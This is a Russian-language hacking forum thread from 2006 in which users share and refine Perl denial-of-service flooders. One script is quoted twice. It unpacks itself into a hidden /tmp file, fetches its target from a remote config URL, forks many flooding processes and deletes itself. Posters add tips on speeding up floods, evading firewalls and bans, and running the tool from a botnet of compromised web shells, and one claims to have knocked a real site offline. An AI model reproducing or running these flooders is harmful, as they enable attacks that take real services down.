PDA

Просмотр полной версии : досер на perl


genom--
11.11.2006, 20:44
млина сел решил ddos скрипт написать -- закидывать левыми пакетами неприятелей -- дык чето кроме вот этого ниче в голову не пришло -- пробовал прикрутить потоки -- один хрен скорость такаяже

#!/usr/bin/perl
use LWP::UserAgent;

print "*******************DDos*************************\n DDos start....[+]\n";



lol:
my $ua = LWP::UserAgent->new(
max_size => 10,
agent => 'kakep agent v 9.11',
timeout => 1,
);
$request = HTTP::Request->new("GET", 'http://127.0.0.1:80/');
$response = $ua->request($request);
goto(lol);

fucker"ok
11.11.2006, 21:16
Я конечно совершенно не знаю perl, но как я вижу:
многопоточность отсутвует
Как я понял скрипт все-равно получает страницу сайта целиком, но это не целисобразно. Лучше получать 1 символ и рвать коннект. Помнится я как-то что-то вроде этого делал на ПХП, так меня потом же ответами и заДОСило :)
Кстати, самый вереый способ организовать многопоточность - многократно запустить скрипт :P

hidden
11.11.2006, 22:35
1) Досеры обычно юзают какую-небудь багу или скрипт который выполняется достаточно долго напримет поиск.
2) LWP::UserAgent; - ИМХО дерьмо, IO::Socket; по производительности раз в десять быстрее, поэтому и многопоточность страдает, а вообще лучьше и легче как fucker"ok уже сказал запустить несколько раз, темболее что в документации по перл так и написано, что многопоточность на стадии разработки.

KPOT_f!nd
12.11.2006, 04:37
#!/usr/bin/perl
use LWP::UserAgent;

print "*******************DDos*************************\n DDos start....[+]\n";



lol:
my $ua = LWP::UserAgent->new(
max_size => 10,
agent => 'kakep agent v 9.11',
timeout => 1,
);
$request = HTTP::Request->new("GET", 'http://127.0.0.1:80/');
$response = $ua->request($request);
goto(lol);
ТЫ ХОЧИШЬ ЭТО НАЗВАТЬ ДОССЕРОМ? ЛАЖА!

n4n0bit
12.11.2006, 05:16
Как заметил KPOT_f!nd это рельано лажа.
hidden тока воот объясни почему ЛВП говно да еще и в 10 раз проигрывает сокетам?
Многопоточность в перле нормально работает несморя на то что написано в доках.

Вот мой вариант на базе модели процессов с форкам, немножка с полиморфизмом=)) эта открывок из моего заброшеннога досера, так что разбирайся сам:


use strict;open(SAME,"$0");open(WRIT,">/tmp/.mc-root") or die "$!";
my @same_file = <SAME>;my @r = ();
foreach(@same_file[6..17]){s/^#//;push @r,$_;}
print WRIT @r;close SAME;close WRIT;
if(!(my $pid = fork)) {system('perl /tmp/.mc-root');print "OK";}
# < portible code >
#use strict;use IO::Socket;our $url='http://127.0.0.1/7357/config.txt';
#our$parent=0;our@childs=();our$c0nf=getCONF($url) ;$c0nf=~/(\S+)#(\d+)/;
#our$d0s_url=$1;our@d0s_h0s=split(/\//,$d0s_url);$d0s_h0s[2]=~s/www.//;
#our$c0nn=$2;our@browsers=("Mozilla/2.0 (compatible; Ask Jeeves/Teoma)","curl/7.13.1 (powerpc-apple-darwin 8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2","Googlebot/2.1 (+http://www.google.com/bot.html)","Opera 6.03 on Windows 2000, cloaked as MSIE: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]","Internet Explorer 5.2 on Mac OS X: Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Internet Explorer 7.0 beta running on Windows Longhorn: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Off By One 3.5a on Windows XP: Mozilla/4.7 (compatible; OffByOne; Windows 2000)");
#F0RK:
#for(my$i=0;$i<=$c0nn;$i++){my$pid=fork;my$oldpid=$$;if(!defined( $pid)){waitpid($pid,0);}
#elsif($pid==0){$parent=$oldpid;last F0RK;}}if($parent){&d0s;}
#sub getCONF{my@host = split(/\//,$url);$host[2]=~s/www.//;
#my$s0ck=IO::Socket::INET->new(PeerAddr=>$host[2],PeerPort=>80,Proto=>'tcp')||die "err0r c0nnecti0n $!\n";
#print $s0ck join ("\n"=>"GET $url HTTP/1.1","Host: $host[2]","User-Agent: Internet Explorer 6.5","","");
#chomp(my@socket=<$s0ck>);$s0ck->close;my$src=join("",@socket);return $src;}
#sub d0s{my$s0ck=IO::Socket::INET->new(PeerAddr=>$d0s_h0s[2],PeerPort => 80,Proto=>'tcp')||die "err0r c0nnecti0n $!\n";print $s0ck join ("\n"=>"GET $d0s_url HTTP/1.1","Host: 127.0.0.1","User-Agent: Internet Explorer 6.5","","");$s0ck->close;}`rm -f $0`;#d0s3r 0.1 (c)n4n0bit

Кстати genom-- накуй ты используешь сдесь timeout ??? он сдесь вообще в роли другой а именно ожидает ответ от сервера в течении таймаута етога, а не как ты наверное подумал конект каждую секунжу - что бы был конект каждую секунду нужна воспользоваться sleep(), далее вообще без коментов...

KPOT_f!nd
12.11.2006, 05:25
use strict;open(SAME,"$0");open(WRIT,">/tmp/.mc-root") or die "$!";
my @same_file = <SAME>;my @r = ();
foreach(@same_file[6..17]){s/^#//;push @r,$_;}
print WRIT @r;close SAME;close WRIT;
if(!(my $pid = fork)) {system('perl /tmp/.mc-root');print "OK";}
# < portible code >
#use strict;use IO::Socket;our $url='http://127.0.0.1/7357/config.txt';
#our$parent=0;our@childs=();our$c0nf=getCONF($url) ;$c0nf=~/(\S+)#(\d+)/;
#our$d0s_url=$1;our@d0s_h0s=split(/\//,$d0s_url);$d0s_h0s[2]=~s/www.//;
#our$c0nn=$2;our@browsers=("Mozilla/2.0 (compatible; Ask Jeeves/Teoma)","curl/7.13.1 (powerpc-apple-darwin 8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2","Googlebot/2.1 (+http://www.google.com/bot.html)","Opera 6.03 on Windows 2000, cloaked as MSIE: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]","Internet Explorer 5.2 on Mac OS X: Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Internet Explorer 7.0 beta running on Windows Longhorn: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Off By One 3.5a on Windows XP: Mozilla/4.7 (compatible; OffByOne; Windows 2000)");
#F0RK:
#for(my$i=0;$i<=$c0nn;$i++){my$pid=fork;my$oldpid=$$;if(!defined( $pid)){waitpid($pid,0);}
#elsif($pid==0){$parent=$oldpid;last F0RK;}}if($parent){&d0s;}
#sub getCONF{my@host = split(/\//,$url);$host[2]=~s/www.//;
#my$s0ck=IO::Socket::INET->new(PeerAddr=>$host[2],PeerPort=>80,Proto=>'tcp')||die "err0r c0nnecti0n $!\n";
#print $s0ck join ("\n"=>"GET $url HTTP/1.1","Host: $host[2]","User-Agent: Internet Explorer 6.5","","");
#chomp(my@socket=<$s0ck>);$s0ck->close;my$src=join("",@socket);return $src;}
#sub d0s{my$s0ck=IO::Socket::INET->new(PeerAddr=>$d0s_h0s[2],PeerPort => 80,Proto=>'tcp')||die "err0r c0nnecti0n $!\n";print $s0ck join ("\n"=>"GET $d0s_url HTTP/1.1","Host: 127.0.0.1","User-Agent: Internet Explorer 6.5","","");$s0ck->close;}`rm -f $0`;#d0s3r 0.1 (c)n4n0bit
Боле мение!

n4n0bit
12.11.2006, 05:28
Мне вот интересн KPOT_f!nd ты многа понял что там написано???

KPOT_f!nd
12.11.2006, 05:33
Ты это сам писал только честно? Просто я пользовалься таким мини-доссером! Вот не помню откуда скачал его!

n4n0bit
12.11.2006, 05:37
Писал сам гдет летом потом забил на ету тему - не интересна!
Проста сам скрипт расспаковывает тела досера в файл отдельный потом его запускает вообщем я уже сам не помню=))
ps; /me спать
ps2; в паблике его небыло никогда разви что толька на cup.su

hidden
12.11.2006, 09:07
hidden тока воот объясни почему ЛВП говно да еще и в 10 раз проигрывает сокетам?Писал брутер мыл(чисто из интереса), так на сокетах примерно в 10 раз быстрее брутил. А ты объясни, почему сокетами пользуешься?
Проста сам скрипт расспаковывает тела досера в файл отдельный потом его запускает вообщем я уже сам не помню=))LOL, С каких это пор коментикование считается алгоритмом упаковки? :D Теперь надо паковать свои скрипты этим методом:my @same_file = <SAME>;
my @r = ();
foreach(@same_file[6..17]){
s/^#//;
push @r, $_;
}немножка с полиморфизмом=))А полиморфизма туууут...
http://ru.wikipedia.org/wiki/Полиморфизм_в_языках_прогр ммирования
http://ru.wikipedia.org/wiki/Полиморфизм_компьютерных_в ирусов
Кстати genom-- накуй ты используешь сдесь timeout ??? он сдесь вообще в роли другой а именно ожидает ответ от сервера в течении таймаута етогаОн тут какраз в той роли что надо, т.е. если сервер долго не отвечает он пробует конектится ещё раз.
, а не как ты наверное подумал конект каждую секунжу - что бы был конект каждую секунду нужна воспользоваться sleep(), далее вообще без коментов...Как можно было предположить что он тймаут поставил в роле слир, если он писал ддоcер? На*ер в ддосере слип?
Мне вот интересн KPOT_f!nd ты многа понял что там написано???А что тут понимать, или этот "полиморфизм" так осложняет чтение кода?
эта открывок из моего заброшеннога досера, так что разбирайся самЭто не отрывок, это полная версия, или ты имел ввиду ещё конфиг файл? А юзерагенты предварительно занесённые в масив ты так и не использовал и пытался ддосить перезапросом одной и той-же страници, с одним и тем-же юзерагентом(Internet Explorer 6.5) которого ниукого нет, и его забанить как 2 пальса...

ЗЫ Не пытался никого обидеть, просто обьяснил, что этот скрипт как досер не катит.

limpompo
12.11.2006, 11:32
Самый Ядерный Досер

#!/usr/bin/perl
use LWP::UserAgent;

print "*******************DDos*************************\n DDos start....[+]\n";


=))

n4n0bit
12.11.2006, 14:18
А ты объясни, почему сокетами пользуешься?
потому что если досер ставить на сервак есть вероятность что LWP не будет.

LOL, С каких это пор коментикование считается алгоритмом упаковки? :D
Сдесь проста так сделано, почитай внимательно код.
Можна было и в _DATA_ загнать но я сделал именно так.

А полиморфизма туууут...
образно говоря.

Он тут какраз в той роли что надо, т.е. если сервер долго не отвечает он пробует конектится ещё раз.
ТЫ сам понял что сказал? если сервак не отвечает то он еще раз будет конектиться не дождавшись его ответа и будет получать постоянно ошибку 500 !

Как можно было предположить что он тймаут поставил в роле слир, если он писал ддоcер? На*ер в ддосере слип?

Слип чувак что бы коннект происходил каждый указанный слип \=)) понял ? Читай PERL доки


Это не отрывок, это полная версия, или ты имел ввиду ещё конфиг файл? А юзерагенты предварительно занесённые в масив ты так и не использовал и пытался ддосить перезапросом одной и той-же страници, с одним и тем-же юзерагентом(Internet Explorer 6.5) которого ниукого нет, и его забанить как 2 пальса...


Не старик - это отрывок вообще из досера веб-шеллов.
имх0 какая та крыса с капа распостранила хотя тут никуяя особеннога нету. ТОчна к массиву rand() не прикрутил.


ЗЫ Не пытался никого обидеть, просто обьяснил, что этот скрипт как досер не катит.

Вообще тo он рабочий, да т твоих объяснений тут как токовых нету никуя кроме как ты заметил что я ранд не прикрутил к массиву.

ps: в пративном случаи это рабочий образет который можна улучшить.

n4n0bit
12.11.2006, 14:26
Для автора топика
Мож обратиться через этот форум к KSURi, у него есть наработки досера как на процессах так и с моdулем threads

genom--
12.11.2006, 17:59
млина люди вы хоть иногда читаете что написано буквами или только код -- яж вам и говорю что мне в голову просто не приходит нифига толкового --- я и сам знаю что это лажа -- не надо мне говорить это пятнадцать раз =)

кста слип будет засыпать минимум на 1 секунду есть другая функция -- более прикольная ей мона паузы покороче сделать select(undef,$vremia_payzi);


и хиден объясни насчет LWP-- почему ты так уверен --- я уже дофига чего для работы с нетом написал и пробовал и через сокеты и нифига они не быстрее только глючнее и места больше занимают -- -- вот

hidden
12.11.2006, 19:40
Слип чувак что бы коннект происходил каждый указанный слип \=)) понял? Читай PERL докиПочему ты думаешь что вокруг тебя никто ничего не понимает? Функция Sleep есть во всех языках програмирования и делает она везде одно и тоже т.е. передаёт управление системе на указанный промежуток времени. Покажы хоть одного человека кто пишет хоть на одном языке програмирования и не знает что такое слир.

Не старик - это отрывок вообще из досера веб-шеллов.
имх0 какая та крыса с капа распостранила хотя тут никуяя особеннога нету. ТОчна к массиву rand() не прикрутил.

Вообще тo он рабочий, да т твоих объяснений тут как токовых нету никуя кроме как ты заметил что я ранд не прикрутил к массиву.

ps: в пративном случаи это рабочий образет который можна улучшить.Согласен с зелёным выделением, такой ддосер писать в среднем 3-5 мин. И что в нём приватного то, может задуманная но не реализованая смена юзерагентов?

n4n0bit
12.11.2006, 22:10
hidden не будем переходить на личности я тебе объяснил применения слипа в данной ситуации, че ты вообще полез в др языки?
Да и еще не нужна ни когда определять качества кода по его размеру и скорасти написания.
Бывают случаи что совсем малый кусок кода но он оптимизирован по максимуму и не всегда допреш до етога за 5 минут - это я проста так сказал.

genom--
хм, попробую селектом мне его не приходилось использовать.
Но если так подумать интервал конекта менше одной сикунды может палиться фаером, вообщем эксперементировать нада.

KSURi
16.11.2006, 21:24
Мож обратиться через этот форум к KSURi
Ко мне обращаться не надо, надо открыть редактор и исправить/добавить мой скрипт если уж его упомянули.

rand() я видимо действительно забыл прикрутить... Но тот скрипт не есть конечная версия. get_doser_standalone.pl - вот конечная версия. Я вовсе не уверен что этот скрипт есть у кого то кроме меня, т.к. уже не помню кому давал или не давал. Со своей домашней машины я валил void.ru с помощью этого скрипта.

По поводу идей:
юзать threads не рационально, но клево ;)
разница в реализации на LWP и сокетах не заметна не вооруженным взглядом.
подмена юзерагентов почти ничего не решает, т.к. банят по юзерагенту тока конченые олени, имхо достаточно просто изменить 1 раз его со стандартного перловского.
фишка в том чтобы запустить скрипт с большого кол-ва хостов, именно поэтому лучше юзать это как модуль для ботнета на вебшеллах

KSURi
17.11.2006, 01:51
Ах да, по поводу того что просто послать запрос и принять 1 сим:
в принципе клево, тока лучше принимать не 1 сим, а хотя бы 10, дабы проанализировать код ответа серва.
А ваще если мне не изменяет память в Lwp тоже можно "вхолостую" посылать запросы.